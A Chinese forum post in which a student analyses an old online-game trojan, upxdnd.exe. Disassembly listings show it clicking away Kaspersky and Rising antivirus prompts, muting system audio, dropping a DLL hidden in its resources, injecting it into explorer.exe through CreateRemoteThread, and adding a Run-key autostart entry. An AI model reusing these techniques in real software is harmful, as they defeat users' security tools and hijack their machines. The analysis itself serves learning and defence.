【文章标题】:一款老木马的分析
【文章作者】: loongzyd
【作者声明】: 学长布置的"作业","打怪升级长经验"
【特别注意】:分析完了之后在网上看了一下大概是07年的一款网游木马,比较"悲剧"的是在论坛上3年前就有前辈发表过分析文章。本来就不该发了,但是发现两个程序有点差别。学长给我的相对简单一点,适合我这种菜鸟分析。所以就当今天的学习笔记吧。
【是否加壳】:无
【使用工具】:OllyDbg,IDA,PEID

昨天胖胖回学校闲来无事,在我电脑上玩了一会儿,走之前留下一个程序让我分析,分析完毕之后:jmp  【特别注意】

下面进入正题:
首先,我们用winhex打开upxdnd.exe,发现应该是没有加壳的。在往后拖动的的过程中我们在offset:1860处发现了'MZ',1930处发现了'PE',基本可以确定是个PE格式的文件。我们再用peid载入,发现.rsrc的文件偏移地址为0x1800,0x1860的数据属于资源节,看来是把一个PE文件作为资源数据了.下面我们来验证一下:(顺便巩固一下资源目录表的知识)

IMAGE_RESOURCE_DIRECTORY STRUCT
Characteristics    DWORD  ?  ;理论为属性标志,但通常为0
TimeDateStamp    DWORD  ?  ;资源建立时间,通常为0
MajorVersion    DWORD  ?  ;主版本号,通常为0
MinorVersion    DWORD  ?  ;副版本号,通常为0
NumberOfNamedEntries  WORD   ?  ;使用名字的资源个数
NumberOfIdEntries  WORD   ?  ;使用ID数字的资源个数
IMAGE_RESOURCE_DIRECTORY ENDS
从截图可以看出,NumberOfNamedEntires为1,NumberOfIdEntries为0.所以本目录中的目录项总数为1.从offset:1810开始有一个IMAGE_RESOURCE_DIRECTORY_ENTRY结构,其中Name字段为80000058h,OffsetToData字段为80000018h,Name字段高位为1,所以低位数据作为地址加上资源节起始地址为00001858,指向IMAGE_RESOURCE_DIR_STRING_U结构,Length字段为03h,表示资源名称长度为3,而资源名称字符串采用UNICODE编码,所以字符串为"DLL",并且第一层数据目录中Name字段表示资源类型,所以该资源类型为"DLL".而OffsetToData字段的高位为1,低位数据为0018h,此时加上资源节的开始00001800h为00001818h:,同理我们可以看到第二层有1个使用ID数字的资源,对应的IMAGE_RESOURCE_DIRECTORY_ENTRY结构中,Name字段为65h,所以该资源的名称为65h.OffsetToData字段为80000030h,得到下一层的地址为00001830h:这一层同样只有一个使用ID数字的资源,对应的IMAGE_RESORCE_DIRECTORY_ENTRY地址为00001840h,因为这是第三层了,其OffsetToData指向IMAGE_RESOURCE_DATA_ENTRY结构,我们找到了资源数据的RVA为:4060,转化为相应的Offset为00001860,刚好为PE格式文件数据的首地址。我们可以猜测程序将通过加载资源的方式将此PE文件释放出来.该资源的类型为"DLL",名称为65h.

接下来我们同时用OllDbg和IDA载入(双管齐下):
定位到WinMain函数004012F2h.
我们发现程序首先获取Temp文件路径(GetTempPath),然后获取当前程序的路径(GetModuleFileName).
然后将当前程序完整路径中的最后一个'\'给清除。然后调用一个子程序upxdnd.004010F7:这个子函数的作用应该是将系统的音量在程序运行时关闭.

mov     edi, 103h
push    eax             ; lpBuffer
push    edi             ; nBufferLength
call    ds:GetTempPathA                   ;获取临时目录
mov     esi, ds:strrchr
lea     eax, [ebp+Source]
push    5Ch             ; Ch
push    eax             ; Str
call    esi ; strrchr

xor     ebx, ebx

_text_401337:
lea     eax, [ebp+Source]
push    eax             ; Source
lea     eax, [ebp+CmdLine]
push    eax             ; Dest
call    strcpy
pop     ecx
lea     eax, [ebp+FileName]
pop     ecx
push    edi             ; nSize
push    eax             ; lpFilename
push    ebx             ; hModule
call    ds:GetModuleFileNameA     ;hModule为NULL,获取当前程序完整路径。
lea     eax, [ebp+FileName]
push    5Ch             ; Ch
push    eax             ; Str
call    esi ; strrchr

后创建了一个线程,线程函数upxdnd.0040104c.
这个函数的功能是查找窗口标题为"AVP.AlertDialoG"的窗口,然后再这个窗口上查找标题为"允许","跳过"的子窗体,分别向这两个窗体发送WM_LBUTTONDOWN(201h),WM_LBUTTONUP(202h)消息,模拟鼠标点击,接着查找窗口标题为"AVP.Product_Notification","瑞星注册表监控提示"的窗口,分别向这两个窗体发送WM_CLOSE(10h)消息,模拟用户关闭.


0040104C   .  53            PUSH EBX
0040104D   .  55            PUSH EBP
0040104E   .  56            PUSH ESI
0040104F   .  8B35 04214000 MOV ESI,DWORD PTR DS:[<&USER32.SendMessa>;  USER32.SendMessageA
00401055   .  57            PUSH EDI
00401056   .  33FF          XOR EDI,EDI
00401058   >  6A 01         PUSH 1                                   ; /Timeout = 1. ms
0040105A   .  FF15 80204000 CALL DWORD PTR DS:[<&KERNEL32.Sleep>]    ; \Sleep
00401060   .  57            PUSH EDI                                 ; /Title
00401061   .  68 4C314000   PUSH upxdnd.0040314C                     ; |Class = "AVP.AlertDialoG"
00401066   .  FF15 00214000 CALL DWORD PTR DS:[<&USER32.FindWindowA>>; \FindWindowA
0040106C   .  8BE8          MOV EBP,EAX
0040106E   .  3BEF          CMP EBP,EDI
00401070   .  74 50         JE SHORT upxdnd.004010C2
00401072   .  68 5C314000   PUSH upxdnd.0040315C                     ; /Title = "允许"
00401077   .  57            PUSH EDI                                 ; |Class
00401078   .  57            PUSH EDI                                 ; |hAfterWnd
00401079   .  55            PUSH EBP                                 ; |hParent
0040107A   .  FF15 FC204000 CALL DWORD PTR DS:[<&USER32.FindWindowEx>; \FindWindowExA
00401080   .  8BD8          MOV EBX,EAX
00401082   .  3BDF          CMP EBX,EDI
00401084   .  74 14         JE SHORT upxdnd.0040109A
00401086   .  57            PUSH EDI
00401087   .  57            PUSH EDI
00401088   .  68 01020000   PUSH 201            ;WM_LBUTTONDOWN(201h)
0040108D   .  53            PUSH EBX
0040108E   .  FFD6          CALL ESI
00401090   .  57            PUSH EDI
00401091   .  57            PUSH EDI
00401092   .  68 02020000   PUSH 202           ;WM_LBUTTONUP(202h)
00401097   .  53            PUSH EBX
00401098   .  FFD6          CALL ESI
0040109A   >  68 08314000   PUSH upxdnd.00403108                     ; /Title = "跳过"
0040109F   .  57            PUSH EDI                                 ; |Class
004010A0   .  57            PUSH EDI                                 ; |hAfterWnd
004010A1   .  55            PUSH EBP                                 ; |hParent
004010A2   .  FF15 FC204000 CALL DWORD PTR DS:[<&USER32.FindWindowEx>; \FindWindowExA
004010A8   .  8BD8          MOV EBX,EAX
004010AA   .  3BDF          CMP EBX,EDI
004010AC   .  74 14         JE SHORT upxdnd.004010C2
004010AE   .  57            PUSH EDI
004010AF   .  57            PUSH EDI
004010B0   .  68 01020000   PUSH 201
004010B5   .  53            PUSH EBX
004010B6   .  FFD6          CALL ESI
004010B8   .  57            PUSH EDI
004010B9   .  57            PUSH EDI
004010BA   .  68 02020000   PUSH 202
004010BF   .  53            PUSH EBX
004010C0   .  FFD6          CALL ESI
004010C2   >  8B1D 00214000 MOV EBX,DWORD PTR DS:[<&USER32.FindWindo>;  USER32.FindWindowA
004010C8   .  57            PUSH EDI                                 ; /Title
004010C9   .  68 30314000   PUSH upxdnd.00403130                     ; |Class = "AVP.Product_Notification"
004010CE   .  FFD3          CALL EBX                                 ; \FindWindowA
004010D0   .  3BC7          CMP EAX,EDI
004010D2   .  74 07         JE SHORT upxdnd.004010DB
004010D4   .  57            PUSH EDI
004010D5   .  57            PUSH EDI
004010D6   .  6A 10         PUSH 10                                        ;WM_CLOSE(10h)
004010D8   .  50            PUSH EAX
004010D9   .  FFD6          CALL ESI
004010DB   >  68 10314000   PUSH upxdnd.00403110
004010E0   .  57            PUSH EDI
004010E1   .  FFD3          CALL EBX
004010E3   .  3BC7          CMP EAX,EDI
004010E5   .^ 0F84 6DFFFFFF JE upxdnd.00401058
004010EB   .  57            PUSH EDI
004010EC   .  57            PUSH EDI
004010ED   .  6A 10         PUSH 10
004010EF   .  50            PUSH EAX
004010F0   .  FFD6          CALL ESI
004010F2   .^ E9 61FFFFFF   JMP upxdnd.00401058
通过模拟用户点击的方法"过"掉了卡巴和瑞星的主动防御

关闭系统音量绝对算是"以人为本"

_text_4010F7 proc near

var_174= dword ptr -174h
var_170= dword ptr -170h
Dst= dword ptr -0E0h
var_D4= dword ptr -0D4h
var_C8= dword ptr -0C8h
pmxcd= tMIXERCONTROLDETAILS ptr -38h
pmxlc= tagMIXERLINECONTROLSA ptr -20h
var_8= dword ptr -8
hmxobj= dword ptr -4
arg_0= dword ptr  8

push    ebp
mov     ebp, esp
sub     esp, 174h
push    ebx
push    esi
push    edi
xor     edi, edi
push    edi             ; fdwOpen
push    edi             ; dwInstance
push    edi             ; dwCallback
lea     eax, [ebp+hmxobj]
push    edi             ; uMxId
push    eax             ; phmx
call    ds:mixerOpen
mov     esi, 0A8h
lea     eax, [ebp+Dst]
push    esi             ; Size
push    edi             ; Val
push    eax             ; Dst
call    memset
add     esp, 0Ch
lea     eax, [ebp+Dst]
mov     [ebp+Dst], esi
mov     [ebp+var_C8], 4
push    2               ; fdwInfo
push    eax             ; pmxl
push    [ebp+hmxobj]    ; hmxobj
call    ds:mixerGetLineInfoA
push    18h
lea     eax, [ebp+pmxlc]
pop     ebx
push    ebx             ; Size
push    edi             ; Val
push    eax             ; Dst
call    memset
mov     eax, [ebp+var_D4]
add     esi, 0FFFFFFECh
mov     [ebp+pmxlc.dwLineID], eax
lea     eax, [ebp+var_174]
mov     [ebp+pmxlc.pamxctrl], eax
push    esi             ; Size
lea     eax, [ebp+var_174]
push    edi             ; Val
push    eax             ; Dst
mov     [ebp+pmxlc.cbStruct], ebx
mov     dword ptr [ebp+pmxlc.anonymous_0], 20010002h
mov     [ebp+pmxlc.cControls], 1
mov     [ebp+pmxlc.cbmxctrl], esi
call    memset
add     esp, 18h
lea     eax, [ebp+pmxlc]
mov     [ebp+var_174], esi
call    memset
add     esp, 18h
lea     eax, [ebp+pmxlc]
mov     [ebp+var_174], esi
push    2               ; fdwControls
push    eax             ; pmxlc
push    [ebp+hmxobj]    ; hmxobj
call    ds:mixerGetLineControlsA
push    ebx             ; Size
lea     eax, [ebp+pmxcd]
push    edi             ; Val
push    eax             ; Dst
call    memset
mov     eax, [ebp+var_170]
add     esp, 0Ch
mov     [ebp+pmxcd.dwControlID], eax
lea     eax, [ebp+var_8]
mov     [ebp+pmxcd.paDetails], eax
mov     eax, [ebp+arg_0]
mov     [ebp+var_8], eax
lea     eax, [ebp+pmxcd]
push    edi             ; fdwDetails
push    eax             ; pmxcd
push    [ebp+hmxobj]    ; hmxobj
mov     [ebp+pmxcd.cbStruct], ebx
mov     [ebp+pmxcd.cbDetails], 4
mov     [ebp+pmxcd.cChannels], 1
call    ds:mixerSetControlDetails
pop     edi
pop     esi
pop     ebx
leave
retn
_text_4010F7 endp
不知道这招过时没有

接着对比程序的当前路径和Temp文件路径是否相同,如果不相同就将本程序复制到Temp文件里面,然后执行Temp文件里面的程序,最后执行upxdnd.004010F7,恢复系统音量.
代码与关闭系统音量基本相似就略过了。


_text_4014CD:
mov     esi, ds:sprintf
lea     eax, [ebp+CmdLine]
push    offset s__Upxdnd_exe ; "upxdnd.exe"
push    eax
lea     eax, [ebp+NewFileName]
push    offset s__SS    ; "%s\\%s"
push    eax             ; Dest
call    esi ; sprintf
add     esp, 10h
lea     eax, [ebp+FileName]
push    edi             ; nSize
push    eax             ; lpFilename
push    ebx             ; hModule
call    ds:GetModuleFileNameA
lea     eax, [ebp+NewFileName]
push    ebx             ; bFailIfExists
push    eax             ; lpNewFileName
lea     eax, [ebp+FileName]
push    eax             ; lpExistingFileName
call    ds:CopyFileA
call    ds:GetCurrentProcessId
push    eax
lea     eax, [ebp+FileName]
push    40h
push    eax
lea     eax, [ebp+NewFileName]
push    ebx             ; bFailIfExists
push    eax             ; lpNewFileName
lea     eax, [ebp+FileName]
push    eax             ; lpExistingFileName
call    ds:CopyFileA
call    ds:GetCurrentProcessId
push    eax
lea     eax, [ebp+FileName]
push    40h
push    eax
lea     eax, [ebp+NewFileName]
push    40h
push    eax
lea     eax, [ebp+CmdLine]
push    offset s__SCSCD ; "%s %c%s%c%d"
push    eax             ; Dest
call    esi ; sprintf
add     esp, 1Ch
lea     eax, [ebp+CmdLine]
push    ebx             ; uCmdShow
push    eax             ; lpCmdLine
call    ds:WinExec

当用WinExec执行C:\DOCUME~1\test1\LOCALS~1\Temp\目录下的程序时,参数为"@'Local Settings的temp目录下的程序'@'当前进程ID号'",参数以@作为标记,方便处理。现在我们重点关注WinExec的执行。前面的都一样,后面执行if语句的第一个分支:首先将之前的进程关闭,然后将原文件删除。

接着,调用一个子函数upxdnd.00401267:该函数建立当前所有进程快照,然后从中匹配"explorer.exe"进程,返回该进程ID。
00401267  /$  55            PUSH EBP
00401268  |.  8BEC          MOV EBP,ESP
0040126A  |.  81EC 28010000 SUB ESP,128
00401270  |.  53            PUSH EBX
00401271  |.  56            PUSH ESI
00401272  |.  57            PUSH EDI
00401273  |.  6A 49         PUSH 49
00401275  |.  33DB          XOR EBX,EBX
00401277  |.  59            POP ECX
00401278  |.  33C0          XOR EAX,EAX
0040127A  |.  8DBD DCFEFFFF LEA EDI,DWORD PTR SS:[EBP-124]
00401280  |.  899D D8FEFFFF MOV DWORD PTR SS:[EBP-128],EBX
00401286  |.  53            PUSH EBX                                 ; /ProcessID => 0
00401287  |.  F3:AB         REP STOS DWORD PTR ES:[EDI]              ; |
00401289  |.  6A 02         PUSH 2                                   ; |Flags = TH32CS_SNAPPROCESS
0040128B  |.  E8 AA040000   CALL <JMP.&KERNEL32.CreateToolhelp32Snap>; \CreateToolhelp32Snapshot
00401290  |.  8BF8          MOV EDI,EAX
00401292  |.  8D85 D8FEFFFF LEA EAX,DWORD PTR SS:[EBP-128]
00401298  |.  50            PUSH EAX                                 ; /pProcessentry
00401299  |.  57            PUSH EDI                                 ; |hSnapshot
0040129A  |.  C785 D8FEFFFF>MOV DWORD PTR SS:[EBP-128],128           ; |
004012A4  |.  E8 8B040000   CALL <JMP.&KERNEL32.Process32First>      ; \Process32First
004012A9  |.  8B35 D0204000 MOV ESI,DWORD PTR DS:[<&MSVCRT._stricmp>>;  MSVCRT._stricmp
004012AF  |.  8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104]
004012B5  |.  50            PUSH EAX
004012B6  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
004012B9  |>  FFD6          /CALL ESI
004012BB  |.  59            |POP ECX
004012BC  |.  85C0          |TEST EAX,EAX
004012BE  |.  59            |POP ECX
004012BF  |.  74 1D         |JE SHORT upxdnd.004012DE
004012C1  |.  8D85 D8FEFFFF |LEA EAX,DWORD PTR SS:[EBP-128]
004012C7  |.  50            |PUSH EAX                                ; /pProcessentry
004012C8  |.  57            |PUSH EDI                                ; |hSnapshot
004012C9  |.  E8 60040000   |CALL <JMP.&KERNEL32.Process32Next>      ; \Process32Next
004012CE  |.  85C0          |TEST EAX,EAX
004012D0  |.  74 12         |JE SHORT upxdnd.004012E4
004012D2  |.  8D85 FCFEFFFF |LEA EAX,DWORD PTR SS:[EBP-104]
004012D8  |.  50            |PUSH EAX
004012D9  |.  FF75 08       |PUSH DWORD PTR SS:[EBP+8]
004012DC  |.^ EB DB         \JMP SHORT upxdnd.004012B9
004012DE  |>  8B9D E0FEFFFF MOV EBX,DWORD PTR SS:[EBP-120]
004012E4  |>  57            PUSH EDI                                 ; /hObject
004012E5  |.  FF15 40204000 CALL DWORD PTR DS:[<&KERNEL32.CloseHandl>; \CloseHandle
004012EB  |.  5F            POP EDI
004012EC  |.  8BC3          MOV EAX,EBX
004012EE  |.  5E            POP ESI
004012EF  |.  5B            POP EBX
004012F0  |.  C9            LEAVE
004012F1  \.  C3            RETN

如果正确找到指定进程ID,构造一个文件名"upxdnd.dll",此文件存在于temp目录下。接下里执行子函数upxdnd.004011EF,这里我们可以看到调用了FindResourceA这个API函数,并且第二个参数为65h,第三个参数为"DLL",是不是很熟悉啦,没错,这就是一开始我们发现的"PE文件"资源.从msdn我们可以知道,第二个参数为资源名称,第三个参数为资源类型。之后可以看到是将整个PE文件复制到upxdnd.dll里面,和我们之前的推测一样。接下来的子程序应该是重点了。

004011EF  /$  55            PUSH EBP
004011F0  |.  8BEC          MOV EBP,ESP
004011F2  |.  53            PUSH EBX
004011F3  |.  56            PUSH ESI
004011F4  |.  57            PUSH EDI
004011F5  |.  FF75 10       PUSH DWORD PTR SS:[EBP+10]               ; /ResourceType
004011F8  |.  FF75 0C       PUSH DWORD PTR SS:[EBP+C]                ; |ResourceName
004011FB  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hModule
004011FE  |.  FF15 70204000 CALL DWORD PTR DS:[<&KERNEL32.FindResour>; \FindResourceA
00401204  |.  8BF0          MOV ESI,EAX
00401206  |.  85F6          TEST ESI,ESI
00401208  |.  74 3D         JE SHORT upxdnd.00401247
0040120A  |.  56            PUSH ESI                                 ; /hResource
0040120B  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hModule
0040120E  |.  FF15 74204000 CALL DWORD PTR DS:[<&KERNEL32.SizeofReso>; \SizeofResource
00401214  |.  56            PUSH ESI                                 ; /hResource
00401215  |.  8BD8          MOV EBX,EAX                              ; |
00401217  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hModule
0040121A  |.  FF15 78204000 CALL DWORD PTR DS:[<&KERNEL32.LoadResour>; \LoadResource
00401220  |.  85C0          TEST EAX,EAX
00401222  |.  74 23         JE SHORT upxdnd.00401247
00401224  |.  50            PUSH EAX                                 ; /nHandles
00401225  |.  FF15 7C204000 CALL DWORD PTR DS:[<&KERNEL32.LockResour>; \SetHandleCount
0040122B  |.  8BF8          MOV EDI,EAX
0040122D  |.  85FF          TEST EDI,EDI
0040122F  |.  74 16         JE SHORT upxdnd.00401247
00401231  |.  68 64314000   PUSH upxdnd.00403164                     ; /mode = "wb"
00401236  |.  FF75 14       PUSH DWORD PTR SS:[EBP+14]               ; |path
00401239  |.  FF15 B0204000 CALL DWORD PTR DS:[<&MSVCRT.fopen>]      ; \fopen
0040123F  |.  8BF0          MOV ESI,EAX
00401241  |.  59            POP ECX
00401242  |.  85F6          TEST ESI,ESI
00401244  |.  59            POP ECX
00401245  |.  75 04         JNZ SHORT upxdnd.0040124B
00401247  |>  32C0          XOR AL,AL
00401249  |.  EB 17         JMP SHORT upxdnd.00401262
0040124B  |>  56            PUSH ESI                                 ; /stream
0040124C  |.  6A 01         PUSH 1                                   ; |n = 1
0040124E  |.  53            PUSH EBX                                 ; |size
0040124F  |.  57            PUSH EDI                                 ; |ptr
00401250  |.  FF15 AC204000 CALL DWORD PTR DS:[<&MSVCRT.fwrite>]     ; \fwrite
00401256  |.  56            PUSH ESI                                 ; /stream
00401257  |.  FF15 A8204000 CALL DWORD PTR DS:[<&MSVCRT.fclose>]     ; \fclose
0040125D  |.  83C4 14       ADD ESP,14
00401260  |.  B0 01         MOV AL,1
00401262  |>  5F            POP EDI
00401263  |.  5E            POP ESI
00401264  |.  5B            POP EBX
00401265  |.  5D            POP EBP
00401266  \.  C3            RETN

下面是主要实现DLL注入的代码:
00401592  /$  55            PUSH EBP
00401593  |.  8BEC          MOV EBP,ESP
00401595  |.  81EC 34010000 SUB ESP,134
0040159B  |.  53            PUSH EBX
0040159C  |.  56            PUSH ESI
0040159D  |.  57            PUSH EDI
0040159E  |.  33DB          XOR EBX,EBX
004015A0  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; /ProcessId
004015A3  |.  53            PUSH EBX                                 ; |Inheritable => FALSE
004015A4  |.  68 FF0F1F00   PUSH 1F0FFF                              ; |Access = PROCESS_ALL_ACCESS
004015A9  |.  FF15 38204000 CALL DWORD PTR DS:[<&KERNEL32.OpenProces>; \OpenProcess
004015AF  |.  3BC3          CMP EAX,EBX
004015B1  |.  8945 08       MOV DWORD PTR SS:[EBP+8],EAX
004015B4  |.  0F84 23010000 JE upxdnd.004016DD
004015BA  |.  68 84304000   PUSH upxdnd.00403084                     ; /FileName = "kernel32.dll"
004015BF  |.  FF15 64204000 CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; \LoadLibraryA
004015C5  |.  BF 30010000   MOV EDI,130
004015CA  |.  8945 FC       MOV DWORD PTR SS:[EBP-4],EAX
004015CD  |.  57            PUSH EDI                                 ; /n => 130 (304.)
004015CE  |.  8D85 CCFEFFFF LEA EAX,DWORD PTR SS:[EBP-134]           ; |
004015D4  |.  53            PUSH EBX                                 ; |c => 00
004015D5  |.  50            PUSH EAX                                 ; |s
004015D6  |.  E8 6B010000   CALL <JMP.&MSVCRT.memset>                ; \memset
004015DB  |.  8B35 60204000 MOV ESI,DWORD PTR DS:[<&KERNEL32.GetProc>;  kernel32.GetProcAddress
004015E1  |.  83C4 0C       ADD ESP,0C
004015E4  |.  68 94304000   PUSH upxdnd.00403094                     ; /ProcNameOrOrdinal = "LoadLibraryA"
004015E9  |.  FF75 FC       PUSH DWORD PTR SS:[EBP-4]                ; |hModule
004015EC  |.  FFD6          CALL ESI                                 ; \GetProcAddress
004015EE  |.  68 D4304000   PUSH upxdnd.004030D4                     ; /ProcNameOrOrdinal = "GetProcAddress"
004015F3  |.  8985 CCFEFFFF MOV DWORD PTR SS:[EBP-134],EAX           ; |
004015F9  |.  FF75 FC       PUSH DWORD PTR SS:[EBP-4]                ; |hModule
004015FC  |.  FFD6          CALL ESI                                 ; \GetProcAddress
004015FE  |.  68 E4304000   PUSH upxdnd.004030E4                     ; /ProcNameOrOrdinal = "Sleep"
00401603  |.  8985 D0FEFFFF MOV DWORD PTR SS:[EBP-130],EAX           ; |
00401609  |.  FF75 FC       PUSH DWORD PTR SS:[EBP-4]                ; |hModule
0040160C  |.  FFD6          CALL ESI                                 ; \GetProcAddress
0040160E  |.  FF75 0C       PUSH DWORD PTR SS:[EBP+C]                ; /src
00401611  |.  8985 D4FEFFFF MOV DWORD PTR SS:[EBP-12C],EAX           ; |
00401617  |.  8D85 D8FEFFFF LEA EAX,DWORD PTR SS:[EBP-128]           ; |
0040161D  |.  50            PUSH EAX                                 ; |dest
0040161E  |.  E8 29010000   CALL <JMP.&MSVCRT.strcpy>                ; \strcpy
00401623  |.  FF75 10       PUSH DWORD PTR SS:[EBP+10]               ; /src
00401626  |.  8D45 DC       LEA EAX,DWORD PTR SS:[EBP-24]            ; |
00401629  |.  50            PUSH EAX                                 ; |dest
0040162A  |.  E8 1D010000   CALL <JMP.&MSVCRT.strcpy>                ; \strcpy
0040162F  |.  83C4 10       ADD ESP,10
00401632  |.  8B35 5C204000 MOV ESI,DWORD PTR DS:[<&KERNEL32.Virtual>;  kernel32.VirtualAllocEx
00401638  |.  6A 04         PUSH 4
0040163A  |.  68 00100000   PUSH 1000
0040163F  |.  57            PUSH EDI
00401640  |.  53            PUSH EBX
00401641  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
00401644  |.  FFD6          CALL ESI                                 ;  <&KERNEL32.VirtualAllocEx>
00401646  |.  3BC3          CMP EAX,EBX
00401648  |.  8945 10       MOV DWORD PTR SS:[EBP+10],EAX
0040164B  |.  0F84 8C000000 JE upxdnd.004016DD
00401651  |.  53            PUSH EBX                                 ; /pBytesWritten
00401652  |.  8D8D CCFEFFFF LEA ECX,DWORD PTR SS:[EBP-134]           ; |
00401658  |.  57            PUSH EDI                                 ; |BytesToWrite
00401659  |.  51            PUSH ECX                                 ; |Buffer
0040165A  |.  50            PUSH EAX                                 ; |Address
0040165B  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hProcess
0040165E  |.  FF15 58204000 CALL DWORD PTR DS:[<&KERNEL32.WriteProce>; \WriteProcessMemory
00401664  |.  85C0          TEST EAX,EAX
00401666  |.  74 75         JE SHORT upxdnd.004016DD
00401668  |.  BF 92154000   MOV EDI,upxdnd.00401592                  ;  入口地址
0040166D  |.  81EF 67154000 SUB EDI,upxdnd.00401567
00401673  |.  57            PUSH EDI                                 ; /MemSize => 2B (43.)
00401674  |.  53            PUSH EBX                                 ; |Flags
00401675  |.  FF15 54204000 CALL DWORD PTR DS:[<&KERNEL32.GlobalAllo>; \GlobalAlloc
0040167B  |.  50            PUSH EAX                                 ; /hMem
0040167C  |.  8945 0C       MOV DWORD PTR SS:[EBP+C],EAX             ; |
0040167F  |.  FF15 50204000 CALL DWORD PTR DS:[<&KERNEL32.GlobalLock>; \GlobalLock
00401685  |.  57            PUSH EDI
00401686  |.  FF75 0C       PUSH DWORD PTR SS:[EBP+C]
00401689  |.  68 67154000   PUSH upxdnd.00401567
0040168E  |.  FF15 1C204000 CALL DWORD PTR DS:[<&KERNEL32.GetCurrent>; [GetCurrentProcess
00401694  |.  50            PUSH EAX
00401695  |.  E8 66F9FFFF   CALL upxdnd.00401000
0040169A  |.  83C4 10       ADD ESP,10
0040169D  |.  84C0          TEST AL,AL
0040169F  |.  74 3C         JE SHORT upxdnd.004016DD
004016A1  |.  6A 40         PUSH 40
004016A3  |.  68 00100000   PUSH 1000
004016A8  |.  57            PUSH EDI
004016A9  |.  53            PUSH EBX
004016AA  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
004016AD  |.  FFD6          CALL ESI
004016AF  |.  8BF0          MOV ESI,EAX
004016B1  |.  3BF3          CMP ESI,EBX
004016B3  |.  74 28         JE SHORT upxdnd.004016DD
004016B5  |.  53            PUSH EBX                                 ; /pBytesWritten
004016B6  |.  57            PUSH EDI                                 ; |BytesToWrite
004016B7  |.  FF75 0C       PUSH DWORD PTR SS:[EBP+C]                ; |Buffer
004016BA  |.  56            PUSH ESI                                 ; |Address
004016BB  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]                ; |hProcess
004016BE  |.  FF15 58204000 CALL DWORD PTR DS:[<&KERNEL32.WriteProce>; \WriteProcessMemory
004016C4  |.  85C0          TEST EAX,EAX
004016C6  |.  74 15         JE SHORT upxdnd.004016DD
004016C8  |.  53            PUSH EBX
004016C9  |.  53            PUSH EBX
004016CA  |.  FF75 10       PUSH DWORD PTR SS:[EBP+10]
004016CD  |.  56            PUSH ESI
004016CE  |.  68 00040000   PUSH 400
004016D3  |.  53            PUSH EBX
004016D4  |.  FF75 08       PUSH DWORD PTR SS:[EBP+8]
004016D7  |.  FF15 4C204000 CALL DWORD PTR DS:[<&KERNEL32.CreateRemo>;  kernel32.CreateRemoteThread
004016DD  |>  5F            POP EDI
004016DE  |.  5E            POP ESI
004016DF  |.  5B            POP EBX
004016E0  |.  C9            LEAVE
004016E1  \.  C3            RETN


upxdnd.401592:首先打开"explorer.exe"进程,然后加载Kerner32.dll,获取LoadLibrary,GetProcAddress,Sleep函数的地址,第一次调用VirtualAlloc得到的地址即为Vir_add_1,接着调用了WriteProcessMemory函数向Vir_add_1中写入数据,写入的数据为LoadLibrary函数地址,GetProcAddress函数地址,Sleep函数地址,upxdnd.dll文件的路径。第二次调用VirualAlloc得到的地址为Vir_add_2,然后又调用了WriteProcessMemory函数向Vir_add_2中写入数据,写入的数据为upxdnd.00401567函数的所有反汇编代码,即将整个函数拷贝过去了。最后我们可以看到调用了CreateRemoteThread函数,在explorer.exe进程中建立了一个远线程,其中lpStartAddress即为Vir_add_2,也就是为upxdnd.00401567函数,lpParamter参数为Vir_add_2.下面我们看看upxdnd.00401567函数,这里首先调用LoadLibrary函数加载了upxdnd.dll,然后调用了dll里面的函数,最后调用sleep。



我们接着往下走,程序调用了upxdnd.004016E2函数,有两个参数,第一个参数为temp目录下upxdnd.exe程序的完整文件名,第二个参数为"upxdnd".此函数调用了RegOpenKeyExA,RegSetValue ExA函数,在注册表项HKEY_LOCAL_MACHINE\SoftWare\Microsoft\windows\CurrentVersion\Run启动项里面注册了一个启动程序,名称和数据即为函数传入的参数

int __cdecl _text_4016E2(LPCSTR lpValueName, char *lpData)
_text_4016E2 proc near

hKey= dword ptr -4
lpValueName= dword ptr  8
lpData= dword ptr  0Ch

push    ebp
mov     ebp, esp
push    ecx
lea     eax, [ebp+hKey]
push    eax             ; phkResult
push    0F003Fh         ; samDesired
push    0               ; ulOptions
push    offset SubKey   ; "SoftWare\\Microsoft\\Windows\\CurrentVersi"...
push    80000002h       ; hKey
call    ds:RegOpenKeyExA
test    eax, eax
jnz     short _text_40172B
push    [ebp+lpData]    ; Str
call    strlen
pop     ecx
push    eax             ; cbData
push    [ebp+lpData]    ; lpData
push    1               ; dwType
push    0               ; Reserved
push    [ebp+lpValueName] ; lpValueName
push    [ebp+hKey]      ; hKey
call    ds:RegSetValueExA
push    [ebp+hKey]      ; hKey
call    ds:RegCloseKey
_text_40172B:
leave
retn
_text_4016E2 endp

我们来看看中毒后的情况:
在temp目录下多了两个文件:upxdnd.dll,upxdnd.exe
注册表启动项增加:


至此exe部分分析完毕,本身程序没有夹壳,也是用windows sdk编写的,适合我等小菜入门。
通过分析这个样本,我们可以了解到通过模拟点击窗体的方法"过掉"某些杀毒软件,虽然程序中之列出了瑞星卡巴,但是其它杀软也可以依样画葫芦。同时将系统的声音暂时关闭可谓想的非常周到,当然重点是在通过对进程的遍历,选择特定的进程注入DLL,然后使用远线程执行。另外不得不提的是将DLL文件以资源的方式嵌入.exe文件中...

好了,分析到此结束。希望通过这个随笔,大家能够有所收获。
另外.dll文件分析起来有点困难(本人不打网络游戏),有些必须通过动态调试分析的代码就没有办法理解。

希望大家多多指教

上传的附件 程序.rar[解压密码是:muma]